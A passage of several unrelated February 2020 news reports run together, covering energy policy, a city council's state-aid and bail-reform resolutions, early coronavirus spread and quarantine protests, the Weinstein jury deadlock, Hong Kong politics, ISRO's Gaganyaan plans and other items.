not just as the leading producer of oil and natural gas but in energy innovation. That innovation is not limited to turning produced water into a viable resource but in projects such as a power plant outside Houston that is powered by natural gas but also captures the carbon dioxide emissions, which are then used for enhanced oil recovery. He praised the organizers of the conference for bringing the brightest minds together to discuss ways to provide affordable energy while also being good stewards of water resources. The Permian Basin is still ground zero for oil and gas production, Cornyn said, and the surge of production from the areas unconventional shales has been a gift to the nation and to the planet. The regions jump in production has helped make the nation the worlds top oil and natural gas producer, he said. And, with the end of the ban on exporting domestic crude, the country has been exporting more crude than it produces. That has benefited the nations allies in Europe, who now have an alternative to Russian energy supplies. Developing nations also benefit by improved energy security, he said. CONFERENCE: Sitton calls for focus on actual impact of energy transition Its easy for us in America to take energy for granted, Cornyn said. We dont worry about how were going to cook our food or fill our cars at gas stations. In other countries, its a different story, he said. He recounted making his first trip to India, and during his travels noticed people were meeting their basic energy needs by using cow dung or wood pellets. Last year, the United States doubled the amount of crude it sends to India, Cornyn said. Those misguided souls who want to ban hydraulic fracturing or oil and gas development dont understand how far-reaching the impact would be, Cornyn said, It would tank our economy, harm our allies, embolden our foes like Russia and Iran. The Green New Deal is not the future of energy, he told those in attendance. You are. AUBURN The Auburn City Council has some requests for Albany. The council unanimously approved a resolution Thursday asking Gov. Andrew Cuomo and the state Legislature to boost Aid and Incentive to Municipalities funding in the 2020-21 state budget. AIM, the unrestricted state aid that cities and some towns and villages get, was reduced by the state Legislature in 2011, and Auburn's funding was cut by more than $300,000 that year, the resolution said. The city argues that the state tax cap being made permanent "only accentuates the need for annual increases in AIM funding." The resolution said City Clerk Chuck Mason will send a certified copy of the request to Cuomo "and all of our state representatives." Councilor Jimmy Giannettino said the city has made the request every year that he has been on the council. He said he believes in the tax cap but he doesn't like the state simultaneously not increasing funding and passing unfunded mandates that impact the city. He said Auburn's AIM funding hasn't gone up since 2011. The council also approved a resolution Thursday urging the state to immediately amend criminal justice reforms that went into effect on the first day of the year. Last year, the state passed legislation hastening legal discovery deadlines in criminal cases, implementing trial reform and stopping cash bail for most nonviolent felony and misdemeanor offenses. The regulations were slammed by upstate law enforcement officials both before and after their implementation on Jan. 1. In December, the council sent a resolution asking Cuomo and the Legislature to amend or delay the laws from going into effect. The resolution from Thursday's meeting said the city "recognizes the need for statewide common sense bail and discovery reform laws," but criticized aspects of the legislation, such as judges not being able to set bail for many crimes and the requirements for district attorneys and police officers to turn over "voluminous trial-related materials to defense attorneys" within 15 days. "The City of Auburn is very concerned about the unfunded mandates incorporated into New Yorks 2019 criminal justice reforms and the practical consequences of this dramatic swing in the criminal justice procedures pendulum will have detrimental, administrative, fiscal, and justice impacts at the local level," the resolution said. The resolution also said the state pushed the reforms forward during the last stages of adopting the 2019-20 budget. The resolution requested Cuomo and the state Legislature amend or revoke them "as soon as possible." A list of recommended amendments to the discovery reforms and a November 2019 policy brief on the reforms from the New York State Conference of Mayors was included in Thursday's agenda. The amendments include making sure cities and villages get additional financial and operational support to offset the cost of the new requirements and to give prosecutors 60 days "to disclose evidence to the defense for criminal charges, unless the defendant remains incarcerated." Giannettino noted he feels "like most things that are done in Albany, it wasn't legislated ... The only thing I would ask the state of New York, not only in an example such as this, but in any important matter, do your job and legislate," he said. Staff writer Kelly Rocheleau can be reached at (315) 282-2243 or kelly.rocheleau@lee.net. Follow him on Twitter @KellyRocheleau. Love 2 Funny 3 Wow 0 Sad 1 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Two more people have died from the coronavirus in Iran, the number of those infected has doubled in South Korea, and there has been a spike in infections inside Chinese prisons, rekindling concerns about an epidemic that has killed more than 2,200 people in China. The World Health Organization warned nations could face a serious problem if they fail to "hit hard now" against the virus, which has infected more than 75,000 in China and more than 1,100 abroad. China has pointed to official figures showing new cases slowing this week as evidence that its containment measures are working. However fresh infections emerged at two Beijing hospitals and more than 500 others were reported in prisons across the country. Chinese authorities have placed tens of millions of people under quarantine in central Hubei province, as well as restricting movements in other cities far from the epicentre, and closing schools nationwide. Peak of grim and complex epidemic still to come At a Politburo meeting chaired by Chinese President Xi Jinping on Friday, the leadership said that the epidemic's peak has not yet arrived, and the situation in Hubei and Wuhan remains grim and complex, according to state media. Many nations have banned travellers from China and airlines have suspended flights to and from the country. Nonetheless, outbreaks continue to emerge, and 13 people have now died outside mainland China. The slow global spread of a potential killer Iran's health ministry reported two more deaths among 13 new cases of coronavirus in the country, bringing the total number of fatalities to four and infections to 18. In South Korea, the number of cases nearly doubled to 204, making it the worst-hit country outside China. Two Australians evacuated from the Diamond Princess cruise ship have tested positive for coronavirus on their return home, despite being cleared in Japan. The Lebanon health ministry has announced the country's first coronavirus case. The patient is a 45-year-old woman who recently visited Iran. Two other suspected cases are being investigated. Ukraine's health minister has volunteered to spend two weeks in quarantine with 72 nationals who have been confined after being evacuated from China. On Thursday, protesters blocked roads and hurled stones at vehicles carrying the evacuees and it took hundreds of police in armoured vehicles to disperse them. An Israeli also tested positive upon returning home - becoming his country's first Covid-19 case. The cases will fuel questions about Tokyo's policy of allowing former Diamond Princess passengers to return home after testing negative. Two former passengers, both Japanese and in their 80s, died in Japan on Thursday. When Carl Goldman and his wife Jeri embarked on a vacation cruise on the Diamond Princess, he had no idea he would end his trip surrounded by doctors in hazmat suits in a biocontainment unit in Nebraska. Along with the rest of the cruise ship's passengers and crew, the Goldmans were thrown into quarantine, during which more and more people became infected with novel coronavirus, officially known as COVID-19. MORE: Iran reports 2 novel coronavirus deaths, the country's 1st cases The virus spread rapidly throughout the ship as it sat docked on the coast of Japan, prompting the U.S. government to evacuate a number of Americans who were on board. During that evacuation, the Goldmans' diagnostic tests came back: Jeri tested negative for the virus. Carl, 66, tested positive. COVID-19, which is in the same family as SARS, MERS and the common cold, can trigger mild symptoms, such as a sore throat or slight cough, or it can be severe, including fever and shortness of breath. In the most serious cases, patients require a respirator in order to breathe. The virus tends to be more serious in older adults and in those with underlying health conditions. Based on data out of China, where the majority of novel coronavirus deaths have occurred, about 2% of cases are fatal. Here's Carl's account of what having COVID-19 is like: PHOTO:U.S. citizen Carl Goldman, 66, of Santa Clarita, Calif., arrives at Eppley Airfield Airport in Omaha, Neb., Feb. 17, 2020. (KHTS Radio) After staying up all night and being loaded onto a 747 cargo plane bound for the United States, Carl immediately went to sleep. "When I woke up about two hours later, I knew I had a high fever," Carl, who owns a radio station in Santa Clarita, California, told World News Tonight. "My wife touched me and she knew I was burning up. I went up to the military doctors, they took my temperature and immediately put me in a quarantine area." MORE: China revokes press credentials for 3 Wall Street Journal reporters amid coronavirus crisis Upon landing in Omaha, Nebraska, on Feb. 17, Carl was transported via stretcher and ambulance to the biocontainment unit at the University of Nebraska's Medical Center, an experience he described as a whirlwind "processional" of ambulances, military vehicles, first responders and federal marshals. Story continues Any staff that Carl interacts with these days is outfitted in a hazmat suit. "I have a window I'm looking out here on the left," he explained. "I have windows on the right, but it's all double-pane thick glass. The doors are specially sealed, so I kind of feel like I'm a fish inside a fishbowl." He described his symptoms, including coughing up mucus, as mild. "The good news is my fever broke by the time I came to the hospital. I had a little fever, mild fever the first day. And then over a night ago, I had a little fever as well, that just came for about an hour and then disappeared." Doctors continue to take his temperature every three hours. PHOTO: U.S. citizen Carl Goldman, 66, of Santa Clarita, Calif., arrives at Eppley Airfield Airport in Omaha, Neb., Feb. 17, 2020. (KHTS Radio) "I think the biggest fear, particularly with this virus, is getting dehydrated," Carl said. Since there's no proven treatment for novel coronavirus yet, doctors have been offering Carl over-the-counter options. "The one thing they have been giving me is Gatorade," he said. "I've got Gatorade in every single flavor." MORE: PHOTOS: Coronavirus outbreak sparks global health emergency Once Carl's symptoms clear, doctors will do swab tests until he repeatedly tests negative for COVID-19. Then he hopes fly back to Los Angeles. Until he's cleared to leave, Carl is doing breathing exercises recommended by his doctors and walking around his room to keep circulation flowing, he said. He's also taking advantage of the hospital's meal service. "I just finished a delicious lunch of a grilled cheese. I'm looking forward to a cheeseburger tonight and baked potato," he said. "I believe it's set up 24/7, so I could have a midnight snack if I wanted to." One man's account of what it's like to have novel coronavirus originally appeared on abcnews.go.com By Trend The state visit of Azerbaijani President Ilham Aliyev to Italy is an important step towards further development of relations between the two countries, Azerbaijani MP Tahir Karimli told Trend. Karimli noted that the official welcoming ceremony for President Ilham Aliyev showed Italys special respect for Azerbaijan. The meetings of the head of state with Italian President Sergio Matarella, President of the Council of Ministers Giuseppe Conte, President of the Senate Maria Elisabetta Alberti Casellatti, President of the Chamber of Deputies Roberto Fico speak about the high level of cooperation between the two countries, said the Azerbaijani MP. During the state visit, the Azerbaijani president, first of all, showing affection to his state and people, visited a monument to Nizami Ganjavi in Italy. Following the meetings, about 20 documents were signed between the two countries, Karimli added. In particular, the signed document on military cooperation suggests that Italy perceives Azerbaijan as a reliable strategic partner. Italy is Azerbaijans main strategic partner on an international scale, said the MP. The trade turnover between the two countries in the amount of $6 billion once again proves the above mentioned fact, and shows how important Italy is for Azerbaijan. Karimli stressed that the Joint Declaration on Strengthening Multidimensional Strategic Partnership between Azerbaijan and Italy, signed during the meeting, is an important political document that defines close cooperation between the two countries over the next years. The MP said that this document defines future directions of the strategic partnership between the two countries and shows that bilateral relations have entered a qualitatively new stage. In a word, the state visit by President Ilham Aliyev, as well as the documents signed during the visit, will comprehensively simplify Azerbaijans integration into Europe with Italys assistance, Karimli noted. The visit was extremely important for both countries. Photo: Stephanie Keith/Getty Images Jurors in Harvey Weinsteins Manhattan rape and sexual-assault trial appeared to be deadlocked on two of the five counts Friday afternoon. These two counts, predatory sexual assault, are the most serious. Justice James Burke instructed jurors to keep trying to come to a unanimous decision on these two counts, so deliberations will continue. In a note sent during the lunch break, the jury said, We, the jury, request to understand whether we can be hung on one and/or three and unanimous on all the other charges. The message came on the fourth day of deliberations, during which jurors asked for testimony to be read aloud to them and to see evidence presented during the trial. After the note came in, Burke and lawyers on both sides discussed how they would answer the jury. The defense is willing to accept a partial verdict, Weinsteins lead attorney, Donna Rotunno, said before the jury came in. Prosecutor Joan Illuzzi said, Were not willing to accept that at this juncture, Judge. When jurors entered the courtroom, Burke said, As I told you in my initial instructions, any verdict you return on any count whether guilty or not guilty must be unanimous. If you cannot reach a unanimous agreement on a particular count, you cannot return a verdict on that count. It is not, however, uncommon for a jury to have difficulty initially. It is not uncommon for a jury to believe that they will never be able to reach a unanimous verdict, Burke explained, saying shortly thereafter, I will ask you to continue your deliberations. Weinstein faces five counts in New York City. One count, criminal sexual act in the first degree, stems from former Project Runway production assistant Mimi Haleyis allegation that Weinstein had forcibly performed oral sex on her at his Soho apartment in 2006. Weinstein faces one count of rape in the first degree and one count of rape in the third degree for ex-actress Jessica Manns claim that he had raped her at a Midtown East hotel in 2013. The two counts of predatory sexual assault, which the note suggests jurors are undecided on, are more complicated. One involves Haleyis allegation; the other, Manns. Annabella Sciorras claim that Weinstein had raped her around late 1993 is contained in both of these counts. The jury has appeared particularly interested in assessing Sciorras testimony. On February 20, jurors asked to have portions read back to them. One day prior, they asked to hear Do the Right Thing actress Rosie Perezs testimony, which corroborated Sciorras. Jurors also requested copies of emails presented during Weinsteins trial that featured womens names in red text. The emails displayed Sciorras name in red and revealed that she was on a red flag list. People on this list were particularly important to Weinstein. In the months before the allegations against Weinstein broke, prosecutors alleged, he thought these red flags might disclose damaging information. Deliberations ended at 3 p.m. this afternoon, as Rotunno has to attend an out-of-town funeral. The jury will return on Monday morning to continue weighing Weinsteins case. When Weinstein left court, reporters asked what he thought about todays turn of events. As is often the case, Weinstein shrugged. #HarveyWeinstein leaves court after jury in his case appears deadlocked on 2 counts pic.twitter.com/Si5aoHVfOs Victoria Bekiempis (@vicbekiempis) February 21, 2020 Update, February 24: Harvey Weinsteins verdict has been announced. Carrie Lam's administration's uncoordinated response to virus, refusal to seal border with mainland China, which might have prevented infections has broadened discontent Hong Kong: Pro-democracy protesters have all but vanished from the streets of Hong Kong over the past month as residents avoid the new coronavirus, but the outbreak has broadened discontent with the citys leadership and Chinas influence on the financial hub. Some business leaders and pro-Beijing politicians have joined pro-democracy and union figures in attacking Carrie Lams administration for what they see as an uncoordinated response to the virus and its refusal to seal the border with mainland China, which might have prevented infections. Regardless of political opinions, people in Hong Kong have already lost confidence in the government of Carrie Lam, said Mike Lam, chief executive of the AbouThai department store chain. Lams stores have experienced some of the chaos caused by the virus, recently receiving almost 100,000 applications for only 3,400 boxes of surgical masks in stock, said Lam. Hong Kongs 7.5 million residents have largely ignored the governments attempts to calm the situation, panic-buying food staples and toilet paper in supermarkets and forming long queues for masks and hand sanitizer in the rare places they can be found. That has led to widespread anger and will fuel renewed protests this summer, activists say. Now, it is not really about politics, its about your genuine life, said Clement Chung, chairman of the Hong Kong Pharmaceutical and Medical Device Industries Employees General Union, which has recruited 320 members since it formed on 31 December. It connects all the people in Hong Kong in terms of anti-government sentiment. The disappointment and the anger, they want something to change, he said. Close the border, save Hong Kong Lams refusal to completely shut the border with mainland China, largely seen as a move to appease Beijing, has inflamed many in Hong Kong. Four current and former leaders of the territorys Liberal Party, which is generally in favour of business, the government and China, criticized Lam on the issue. As the new coronavirus wreaks havoc on the mainland, the only right decision you should make is to immediately close the border, they wrote to Lam this month, calling her response hesitant and ineffective. Three-quarters of the citys residents agree, according to a survey by the Hong Kong Public Opinion Research Institute released earlier this month. The same proportion of 156 US business leaders polled by the American Chamber of Commerce in Hong Kong also said they want the border closed. In the first week of February, 8,000 doctors, nurses and medical workers in the newly formed Hospital Authority Employees Alliance (HAEA) took part in a five-day strike, chanting, Close the border, save Hong Kong. Hours after the strike began, Lam announced the closure of four more border crossings to mainland China, but stopped short of a total shutdown. Now 10 of 13 checkpoints are closed. That may not be enough to stop frustration spilling over this summer. The anger that is building up will fuel future protests against the government and for democracy, said Lee Cheuk-yan, a labour activist and former pro-democracy politician. Lee said the next marches will likely start around 1 July, the 23rd anniversary of Britain handing back control of Hong Kong to China, or earlier if the virus subsides. Hong Kong was roiled by often violent protests throughout the second half of last year, following an attempt by the government to introduce a bill that would have allowed criminal suspects to be extradited to mainland China for trial in Communist Party-controlled courts. The bill was withdrawn but the protests escalated into a broader call for greater democratic rights in the city and an inquiry into alleged police brutality in dealing with the protests. Anti-China mood The virus, first detected in the Chinese city of Wuhan, has infected 75,465 people and killed 2,236 in mainland China, according to the countrys National Health Commission. Hong Kong has reported 68 infections and two deaths. Lam rejected a complete shutdown of the border as discriminatory and impractical. Her administration said its decisions were based on World Health Organization guidelines, and not politically motivated. The only consideration of the government in dealing with the infection is public health, and the governments actions are underpinned by very strong scientific and expert advice, Lams office said in a statement to Reuters. Lam has also pledged HK$30 billion ($3.85 billion) to measures to counter the spread of the virus and ease the financial impact on businesses. Not all in Hong Kong are critical. Sunny Ho, executive director of the Hong Kong Shippers Council, said he was happy with Lams measures and that critics had grossly underestimated the difficulties that the administration has to consider. That understanding is not visible at street level, where many remember the Severe Acute Respiratory Syndrome (SARS) outbreak of 2003 that also started in mainland China and killed nearly 300 people in Hong Kong. Some reactions have crossed into hostility toward residents and visitors from the mainland. A list circulating on social media shows 34 restaurants that refuse to serve customers from areas they deem to be high risk for coronavirus. Posters outside some restaurants entrances ban mainlanders, citing health concerns. Edgy Salon said on Facebook it would only cut Hong Kongers hair, while Kwong Wing Catering posted, You wont seal the border, so Im sealing my shop. One popular post on a pro-democracy Facebook page bragged of misleading mainland Chinese tourists into buying sexual lubricant instead of scarce hand sanitizer. A new battlefront Hundreds rallied in at least three Hong Kong neighbourhoods last weekend to protest against plans to turn some government-owned public housing into coronavirus quarantine centres, angry about lack of consultation with citizens. In January, a group of protesters set alight the lobby of one of the buildings. Some of the 40 or so pro-democracy unions formed since late 2019 have led a more organized approach to the outbreak, and plan to use that momentum to put more pressure on the citys government. HAEA chairwoman Winnie Yu, who organized the medical workers strike, called labour unions a new battlefront for our protest. Chung said he hopes others unions will take the relay baton to continue the strike, although most of the new unions need more members to force change. They broke the stereotype that Hong Kong people cannot strike, said Alex Tsui, chairman of the new, 450-strong Hong Kong Hotel Employees Union, referring to the HAEA walkout. A Supreme Court decision which will have significant implications for Graham Dwyers bid to overturn his murder conviction will be televised live on RTE. The seven-judge court heard the States challenge in December against a High Court ruling that the legislation used by gardai to accessed Dwyers communications data contravened EU law and the European Convention on Human Rights. It will give its decision on Monday, when it sits in Waterford. An RTE spokeswoman told Independent.ie: "We will be showing it, we began broadcasting Supreme Court rulings on RTE News Now in 2017 and have permission to do so in Waterford on Monday." While he is entitled to appear in court, Dwyer has chosen not to on previous occasions, and prison sources say he is likely to watch from his Midlands Prison cell, where he has television access. Dwyer (47) met 36-year-old Ms OHara online and his trial heard he stabbed her to death for his own sexual gratification. She disappeared in August 2012 and her remains were found 13 months later in the Dublin Mountains. Dwyer was sentenced to life imprisonment in April 2015 after a jury at the Central Criminal Court found him guilty of the murder of Ms O'Hara. The High Court ruled in 2018 that the legislation under which gardai accessed his phone records contravened EU law and the European Convention on Human Rights (ECHR). The prosecution was able to show where Dwyer's phone was at certain times and what numbers it contacted. Expand Close Elaine O'Hara / Facebook Twitter Email Whatsapp Elaine O'Hara The appeal, heard by the court before Christmas, was told that there were "enormous amounts" at stake in the case, and if upheld, the High Court ruling could have drastic effects on not just this case but also on future investigations. A separate appeal by Dwyer against his conviction has been on hold pending the outcome of the Supreme Court case. Most of the detainees during the protests in Novi Sanzhary, which arose in the village due to the arrival of Ukrainians evacuated from China, are not local residents. Representative of the National Police in Poltava region Yuriy Sulaev stated this, as the local newspaper reports. As we reported before, 24 participants of the protests against the placement of Ukrainians, evacuated from Wuhan, China, in Novi Sanzhary were detained during the collisions with police. This was reported by the Head of the National Police Ihor Klymenko. According to him, 17 people were arrested in the morning, and seven more protesters in the evening. Also, Ukraine's Ministry of Internal Affairs reported that the citizens of Ukraine that had been evacuated from China would be sent to Novi Sanzhary sanitarium. This evoked the outrage of the locals. The protesters collided with the representatives of the law enforcement bodies. As a result, some of them were detained. As of now, the situation in the settlement remains to be calm. The medical center is being patrolled by police officers. The Mizoram Maintenance of Household Registers Bill, 2019, which seeks to identify illegal immigrants and genuine residents of the state, is pending with the Centre for approval, Chief Minister Zoramthanga told the Assembly on Friday. Zoramthanga said the state government will continue to make efforts to ensure that the bill received the Centres consent. "The bill is with the Centre and is yet to be approved," he told the House. The bill is pending clearance by the Union government for about a year after it was introduced by the chief minister and passed by the Assembly on March 18, 2019. The NRC-like bill was then sent for assent of the state governor, who referred it to the Centre as it involved detection of illegal immigrants, a subject under the Centre's jurisdiction, an official said. While introducing the bill Zoramthanga had said its enactment will help the state government identify illegal immigrants and genuine residents. He had said that influx of infiltrators into the state through its porous borders has been a matter of serious concern for several decades. In many cases, the benefits of the government's welfare programmes could not reach the targeted beneficiaries and were appropriated by illegal immigrants who clandestinely stayed back and mingled with the local population. He underscored the need for a comprehensive database of all residents of the state, in villages or towns, permanent or temporary, for updating it. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US Military Assures Africa of Continued Support By Mohammed Yusuf February 20, 2020 U.S. military commanders say the United States will support African governments in their efforts to secure and stabilize their countries. The eighth Africa Land Forces Summit in Ethiopia ended with a call on African troops to improve their human rights record. This week, top U.S. military commanders met their counterparts in Africa to discuss ways of protecting African countries from violence and instability. In recent years, the threat of terrorist groups like Boko Haram and al-Shabab has increased, and criminal networks have become more brazen and prominent. U.S. Army Africa Commanding General Roger Cloutier said the continent needs professional armies to combat the armed groups. "In keeping with this theme, tomorrow's security demands leadership today. We have been focused on the roles Africa's land forces chiefs, and senior leaders have in developing defense systems, institutions that are trained, capable professional forces that respect the rule of law, and human rights a contributor to greater security and stability on the African continent," Cloutier said. The annual summit of Africa Land Forces was attended by representatives from 42 countries who gathered in Addis Ababa to share their experiences in dealing with violence and the need to cooperate in dealing with emerging threats. The U.S. military's Africa Command currently gives support to about a dozen African countries. In particular, the command has carried out many drone strikes against Islamist militant group al-Shabab, which has tried for years to overthrow the internationally recognized government of Somalia. In Washington, the Trump administration has signaled it may scale back U.S. military operations in Africa, a decision that many African security experts see a step back in the fight against terror groups. Cloutier assured African military leaders his country was not abandoning them. "The review is focused on making sure that the resources we have in Africa are in line with the national defense strategy. We are trying to make sure that we are efficient with our resources, and we are not duplicating efforts, and whatever it is doing on the African continent is complementary. So the bottom line is the United States is not walking away from Africa. We are committed, and we remain engaged," Cloutier said. Some African security forces have been accused of using heavy-handed tactics to combat insecurity, something that has pushed the youth to join violent groups. Analyst Yan St. Pierre, who runs the Berlin-based security firm MOSECON, says African governments need to work on winning over the population. "It all about the relationship with the local population. We have seen in other areas, not Africa but the rest of the world, if the local population has a strange relationship with the guardian, the military, the police, that creates a situation where the terrorist can provide and the military they don't trust," Pierre said. Pierre said another problem is that African security forces are often dependent on international aid and training. In many ways, he says, that dependency lets outsiders dictate strategy for African forces, which he says is "not conducive for very specific needs of an area." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address New Delhi, Feb 21 : The meeting between the the students of Delhi University's all girls Gargi College and the Delhi Commission of Women chief Swati Maliwal concluded on Friday. A further course of action regarding the probe in the alleged incident of molestation was discussed during the meeting, a student who was a part of the incident told IANS. A number of students of Gargi College located in the south of the city have alleged manhandling molestation and sexual harassment on the third day of the college annual cultural fest 'Reverie' on February 6. A third-year student of the college told over the phone that the students are willing to file an RTI and are looking for a relevant person in this regard. The Fact Finding Committee (FFC) which is conducting an independent enquiry in the incident recorded and examined testimonies of more than 600 testimonies of the students, sources in the University said. During the General Body Meeting held on Monday, the FFC presented its preliminary findings before the students and other members. The Committee on its preliminary probe found out that there was a gross lapse in the overall security of the fest and the college had underestimated the number of individuals who would attend the campus. Following which it has recommended immediate sensitisation of the staff of the college to gender issues. "The committee has also found out that the Internal Complaints Committee (ICC) is grossly biased and compromised and a new ICC should be formed as per the UGC requirements by the end of February," the student body of the Gargi College said in a statement. Two more people were arrested by the Delhi Police on Tuesday in connection with alleged molestation of female students at Delhi University's all girls Gargi College. The said persons were arrested under section 452, 354 and 509 read with section 34 of the Indian Penal Code (IPC), the police said on Tuesday. So far, the Delhi Police has arrested a total of 17 persons in connection with the case, of which 10 have been granted bail by Delhi's Saket Court. Intelligencer file photo EDWARDSVILLE The Edwardsville High School Medical Occupations Club (Med Club) is inviting the public to meet beloved princesses over tea to help support club members trips to this years Health Occupations Students of America (HOSA) state competition. The tea party fundraiser is from 2 to 4 p.m. Sunday, Feb. 23 at Edwardsville High School. Tickets cost $20 and can be purchased at the door or after school on Friday. Activities, drinks, crafts, cookies and the opportunity to meet Disney princes and princesses come included with the purchase of a ticket. Chennai: The Indian space agency will carry out a series of tests to validate the design and engineering of the rocket and orbital module system for the country`s prestigious human space flight programme-Gaganyaan, a top official said. He also said the space agency would soon build its own astronaut training facility and launch its first small satellite launch vehicle (SSLV) or small rocket in couple of months time. "The design and engineering of the launch vehicle and orbital module system for India`s human space flight has been completed. A series of tests have to be competed to validate the design and engineering of the systems in 2020," K.Sivan, Chairman, Indian Space Research Organisation (ISRO) said. He was speaking at the 70th Annual General Meeting and National Conference on "Recent Developments in Aerospace and Defence Technology" organised by Aeronautical Society of India. According to Sivan, ISRO`s aim is to have the first unmanned flight by the end of next year. The human space flight demonstration is planned before India`s 75th Independence Day in 2022 and four Indians are undergoing astronaut training in Russia. On the new small rocket being built by ISRO, Sivan said it is conceived as a low cost space access option to cater to large number of small satellite launch programmes. He said the land acquisition programme for building India`s second rocket launch centre at Kulasekarapattinam in Tamil Nadu is under progress for sending up the small rockets. Sivan said using the existing rocket launch centre at Sriharikota in Andhra Pradesh for launch of small rockets would hamper ISRO`s regular launch programmes. According to him, the first developmental flight of SSLV will happen in few months from now. Sivan said the space agency is working on developing a rocket with a capacity to carry 10 ton for geostationary transfer orbit (GTO) and semi cryogenic engine. He also said ISRO has transferred its lithium-ion cell technology to industries and its commercial arm New Space India Ltd will work on focussed manner on transfer of technologies developed by ISRO. Sivan said New Space will also market ISRO`s spin off technologies within and outside India. It will be responsible for transfer of small satellite and SSLV manufacturing through industries. He also said soon the Polar Satellite Launch Vehicle (PSLV) will be made by industries as a full rocket. STAMFORD City police have arrested a Stamford woman for allegedly striking and killing Stratford resident Nancy Flores as she was walking on Washington Boulevard last November. Courtney Sabia, 24, turned herself over to police Friday morning and was charged with negligent homicide with a motor vehicle. She was released after posting a $10,000 court appearance bond, according to Collision Analysis and Reconstruction Squad Sgt. Jeffrey Booth. She will be arraigned on the charge at the Stamford courthouse on March 6. Sabias attorney Philip Russell said he did not know why his client was arrested. Courtney cooperated with the police investigation both at the scene and in the ensuing weeks after the accident. We are puzzled by her arrest and we intend to refute the charge, Russell said. We know there is political pressure in the city of Stamford because of the increase in collisions involving pedestrians. As most motorists know not every vehicle accident involves criminal conduct. Flores, 60, a Stamford Target employee was struck and killed at 9:16 p.m. on Nov. 13 as she was crossing Washington Boulevard at Tresser Boulevard. She was struck by a 2009 Jetta being driven by Sabia, who was traveling eastbound on Tresser, police said at the time. Flores, who was walking to the Stamford train station at the time, was pronounced dead at the scene. Booth said there has been no major increase in pedestrian accidents. We are under no political pressure to make arrests and that pedestrian death was the only one to occur in Stamford last year. We do our investigations and present the facts to the Stamford States Attorneys office, he said. But he said that Sabia was speeding at the time and she made no effort to avoid striking Flores. She had a long line of sight to see the pedestrian walking across the street and the intersection was very bright and well lit. She took no actions or made any maneuvers at all to avoid striking Mrs. Flores, Booth said. According to the state Department of Transportation, there were 1,537 crashes involving pedestrians in Connecticut in the span from 2015 through 2017. Of those, 55 resulted in deaths. During that time, Stamford tied with Hartford for third place for total number of fatal pedestrian crashes, with seven. Waterbury had 11 and Bridgeport had 14. Flores was the only pedestrian killed in Stamford last year; two pedestrians were killed in Stamford in 2018. jnickerson@stamfordadvocate.com In 2016, Netflix gave its avid subscriber a closer look at the most famous and complex family in the world by creating an original series based on the events revolving around the British royal family. "The Crown" features excellent storytelling about the reign of Her Royal Highness, Queen Elizabeth II, when she took over the monarchy in 1952. Due to the recent turn out of events within the royal family (Prince Harry and Meghan Markle's royal exit and Prince Andrew's involvement with pedophile Jeffrey Epstein), "The Crown" fans could not help but get excited and see how the show will tackle such controversies in the future episodes. While the series creators earlier made it clear that they will not create a season focusing on the current events, it looks like the future heir to the throne will have a cameo appearance at the show's fourth season coming this 2020. Prince William as Himself? The team behind "The Crown" is currently filming a 10-episode season which will highlight the sensational entry of Princess Diana within the walls of Buckingham Palace. Based on the photos taken from the set, it looks like the younger generation of the royal family will be joining an episode or two. In some pictures obtained by "Hello Magazine," a pregnant Princess Diana (played by Emma Corrin) could be seen carrying a little boy and accompanied by Prince Charles (played by Josh O'Connor). The cute baby boy in the photo will play the role of Diana and Charles's eldest son, Prince William. In the photo, Emma looked like a spitting image of Princess Diana wearing a blue puff-sleeved dress, while Prince Charles was donning a chocolate brown coat and black pants. The young Prince William looked adorable in an emerald green sweatshirt and pants while holding a small basket. It appears that the crew is recreating the traditional Easter Egg Hunt in the Palace, which took place in 1984 when Princess Diana was pregnant with her second born, Prince Harry. While the 37-year-old Prince William is yet to comment on the appearance of his younger self in the hit series, Prince Harry recently made his thoughts about the show known -- and it only shows he is not a fan. Prince Harry on "The Crown" In an interview with "BBC Breakfast," royal biographer Angela Levin revealed that during her first meeting with Prince Harry, the 35-year-old Duke expressed disgust over the show. "The first thing he said to me when he shook my hand was, 'Are you watching The Crown?' And I hadn't been at the time, I felt very embarrassed, and I got it, and he said, 'I'm going to make sure I stop it before they get to me,'" the author of "Harry: Conversations With the Prince" said. No "Megxit" in "The Crown" The show's executive producer Suzanne Mackie earlier said she is doubtful that they will cover the current events and drama surrounding the royal family. "To be honest, whatever the life of 'The Crown' is after where we are now, I doubt we'll ever go as far into the present day. I think we'll probably -- we won't travel into the present day," Mackie said, via BBC. Authorities In Kazakhstan Agree To Move Coronavirus Quarantine Center By RFE/RL's Kazakh Service February 20, 2020 ZAISAN, Kazakhstan -- Authorities in the East Kazakhstan region have agreed to move a coronavirus quarantine center from a village in the Zaisan district bordering China to the regional capital following protests by residents. Regional Governor Danial Akhmetov met with the protesters in the town of Zaisan on February 20, a day after residents rallied in the villages of Saryterek and Ainabulaq against quarantine centers. In Saryterek, protesters rushed into the local hospital where a quarantine center for people arriving from China had been set up and removed all the beds from the center. Akhmetov told protesters that there were no patients in the center yet and told them he needed three days to process their demands. He added that the quarantine center will be gradually moved to Oskemen, the regional capital. The protests started on the evening of February 19, hours after the Health Ministry announced that special quarantine centers will be placed in towns and villages close to border checkpoints and all people returning to Kazakhstan from China will be placed under quarantine for 14 days. The ministry warned that those who fail to obey the quarantine order will face repercussions. Saryterek resident Aibolat Qasenov told RFE/RL that the protests were prompted by confusing information that led people to believe the quarantine centers would host individuals diagnosed with the virus. More than 74,000 people have been infected with the coronavirus in China and hundreds more in nearly 30 countries. The latest data provided by Beijing says the coronavirus death toll reached 2,118. Source: https://www.rferl.org/a/authorities-in- kazakhstan-agree-to-move-coronavirus-quarantine- center-after-protests/30445446.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Maharashtra chief minister Uddhav Thackeray on Friday reiterated that the Citizenship Amendment Act (CAA) 'should not be feared' by anyone after his 'fruitful' meeting with Prime Minister Narendra Modi in Delhi Maharashtra chief minister Uddhav Thackeray on Friday reiterated that the Citizenship Amendment Act (CAA) "should not be feared" by anyone after his "fruitful" meeting with Prime Minister Narendra Modi in Delhi. "We have discussed the Citizenship Amendment Act, National Register of Citizens and National Population Register (NPR). I have already cleared my stance on these issues. No one should be scared of CAA," Thackeray said. "(CAA) ...is not to take citizenship away from anyone. However, this law is about giving citizenship to the 